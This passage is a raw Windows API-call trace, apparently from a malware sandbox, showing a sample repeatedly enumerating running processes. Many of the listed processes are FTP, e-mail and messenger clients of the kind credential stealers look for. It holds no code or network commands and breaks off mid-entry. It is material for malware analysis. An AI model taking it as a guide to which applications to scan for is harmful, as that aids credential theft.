Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0239.136] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0239.138] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0239.139] CloseHandle (hObject=0x13b0) returned 1 [0239.139] Sleep (dwMilliseconds=0x64) [0239.179] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0239.243] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.245] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.247] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.249] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.251] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.252] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.275] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.277] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.278] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.280] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.282] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.284] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.288] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.289] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.291] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.293] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.295] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.297] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.299] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.353] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.355] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0239.357] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0239.359] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.361] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.363] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0239.365] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0239.367] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0239.369] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.371] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0239.373] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0239.375] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0239.377] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0239.379] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0239.380] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0239.382] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0239.384] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0239.385] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0239.387] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0239.389] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0239.427] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0239.429] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0239.430] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0239.432] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0239.433] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0239.435] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0239.436] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0239.437] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0239.439] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0239.441] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0239.442] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0239.444] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0239.445] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0239.447] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0239.448] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0239.450] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0239.451] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0239.453] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0239.454] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0239.601] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0239.604] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0239.607] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0239.609] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0239.612] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0239.663] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0239.666] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0239.668] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0239.671] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0239.673] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0239.675] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0239.678] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0239.680] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0239.682] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0239.685] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0239.687] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0239.689] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0239.692] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0239.694] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0239.697] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0239.699] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0239.701] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0239.703] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, 